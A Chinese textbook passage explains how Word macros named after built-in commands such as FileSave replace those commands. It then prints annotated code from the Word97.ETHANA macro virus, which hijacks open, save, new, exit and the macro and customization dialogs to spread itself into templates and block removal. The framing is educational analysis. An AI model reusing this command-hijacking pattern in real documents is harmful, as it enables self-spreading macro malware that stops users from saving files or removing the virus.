修改Word命令
　　大多数 Word 命令可通过转入宏以修改它们。例如，可修改【文 件】菜单中的【打开】命令，使其不再显示 Word 文档文件列表（扩 展名为 DOC 的文件），而是当前文件夹的HTML 文件，甚至打开的 是【另存为】对话框。。
　　要在宏对话框中显示内置命令列表，可选择【宏的位置】对话框 中的【Word 命令】选项。显示的命令包括所有的菜单命令、工具栏 命令或快捷键命令。菜单命令为以菜单名开头的命令。例如，File 菜 单中的 Save 命令显示为 FileSave。
　　通过将一个宏命名为与 Word 命令相同的名称，就可用一个宏替 代一个 Word 命令。例如，建立一个名为FileSave 的宏之后，当选 择【文件】菜单中的【保存】项时或者单击【工具】栏中的【保存】 按钮或按下【保存文件】快捷键Ctrl+S 时，Word 将运行此宏。
　　FileSave 宏代码
　　Sub FileSave（）
　　‘ FileSave 宏
　　‘ 保存一个活动文档或者模板
　　ActiveDocument.Save
　　End Sub
　　可添加指令或删除已有的 ActiveDocument.Save 指令。当运行 FileSave 命令时，新的 FileSave 宏取代了Word 命令。要恢复原 来的FileSave 功能，须将新的FileSave 宏改名或删除。
　　用户还可通过建立包含名为 Main 的编码模块以替代 Word 命 令，此模块必须和要替代的命令同名（如 FileSave）。
　　很多宏病毒除了前面提出的利用宏来进行传播外，还会利用 修改Word 命令的方法修改Word，给用户造成很大不便，危害性特别 大。如Word97.ETHANA 宏病毒就修改许多Word 的内部命令，其代码
　　Sub FileClose（）
　　‘修改Word 关闭文件命令，使其在关闭文件之前首先执行它自定 义的一些代码，以达到妨害计算机
　　‘工作的目的。
　　On Error Resume Next
　　Call AyAlways
　　Call Ay2
　　Call Ay2Doc
　　Call AyClose
　　If Day（Now（）） = 8 And Month（Now（）） = 6 Then
　　ChenLung.Show
　　‘如果是6 月8 号，会有一个带有病毒制造者的头像的对话框出 现
　　WordBasic.FileClose
　　End Sub
　　Sub FileOpen（）
　　‘修改Word 打开文件命令，使宏病毒代码复制到通用模板上
　　On Error Resume Next
　　Call Lulung
　　Dialogs（wdDialogFileOpen）.Show
　　Call AyAlways
　　Call Ay2Doc
　　Call Simpan
　　Call AyClose
　　If Day（Now（）） = 8 And Month（Now（）） = 6 Then
　　ChenLung.Show
　　End Sub
　　Sub FileSaveAs（）
　　‘修改Word 文件另存为命令，使保存文件保存不了。危害性非常
　　大
　　On Error Resume Next
　　Call AyAlways
　　Call Ay2
　　Call Ay2Doc
　　Call AyClose
　　Dialogs（wdDialogFileSaveAs）.Show
　　If Day（Now（）） = 8 And Month（Now（）） = 6 Then
　　ChenLung.Show
　　End Sub
　　Sub FileSave（）
　　‘修改Word 文件保存命令，使保存文件保存不了。
　　Call AyAlways
　　Call Ay2
　　Call Ay2Doc
　　Call AyClose
　　On Error GoTo Errh1
　　If ActiveDocument.Saved = False Then
　　ActiveDocument.Save
　　If Day（Now（）） = 8 And Month（Now（）） = 6 Then
　　ChenLung.Show
　　Errh1:
　　End Sub
　　Sub HelpAbout（）
　　‘修改Word 关于命令，一个带有病毒制造者的头像的对话框代
　　替【关于】对话框。
　　On Error GoTo AyErr3
　　ChenLung.Show
　　AyErr3:
　　End Sub
　　Sub ToolsOptions（）
　　‘修改Word 打开【工具】菜单中的【选项】命令，使用户修改启Word 的宏病毒保护功能。
　　Dialogs（wdDialogToolsOptions）.Show
　　Call Lulung
　　ChenLung.Show
　　End Sub
　　Sub FileNew（）
　　‘修改Word 新建文件命令，把病毒代码复制到新建的文档
　　中。
　　On Error Resume Next
　　Call Lulung
　　Dialogs（wdDialogFileNew）.Show
　　If Day（Now（）） = 8 And Month（Now（）） = 6 Then
　　ChenLung.Show
　　End Sub
　　Sub FileExit（）
　　‘修改Word 退出命令，把病毒代码保存到模板中，不用
　　提示用户保存模板。
　　Call AyAlways
　　Call Ay2
　　Call Ay2Doc
　　On Error GoTo AyErr4
　　If Day（Now（）） = 8 And Month（Now（）） = 6 Then
　　ChenLung.Show
　　AyErr4:
　　Call AyClose
　　WordBasic.FileExit
　　End Sub
　　Sub FileTemplates（）
　　‘修改Word 的修改模板选项命令，把病毒代码保存到模板
　　中。屏蔽了原来该命令的功能。
　　Call Lulung
　　If Day（Now（）） = 8 And Month（Now（）） = 6 Then
　　ChenLung.Show
　　End Sub
　　Sub ToolsCustomizeKeyboard（）
　　‘修改Word 的自定义键盘命令，除了把病毒代码保存到模板外，还屏蔽了原来该命令的功能。
　　‘功能。
　　Call Lulung
　　End Sub
　　Sub Organizer（）
　　‘修改并屏蔽了Word 的启动管理图文集命令。
　　End Sub
　　Sub ToolsMacro（）
　　‘修改Word 的启动宏对话框命令，除了把病毒代码保存到模板外，还屏蔽了原来该命令的功能。
　　Call Lulung
　　ChenLung.Show
　　End Sub
　　Sub ToolsCustomize（）
　　‘修改Word 的启动自定义工具栏对话框命令，除了把病毒代码保存到模板外，还屏蔽了原来该‘命令的功能。
　　Call Lulung
　　ChenLung.Show
　　End Sub
　　‘宏病毒之所以屏蔽这些命令的原因，除了危害计算机正常工作 以外，还防止用户利用如VBA
　　‘器等工具修改其病毒代码。
　　关于破解宏病毒的方法，请参考第十三章。其实，如果对宏比较 了解，破解宏病毒是非常容易的。
　　要详细了解Word 内部的命令，可以单击【工具】菜单中的【自 定义】菜单项，在弹出的【自定义】对话框中单击【键盘】按钮， 在弹出的【自定义键盘】对话框中查看即可。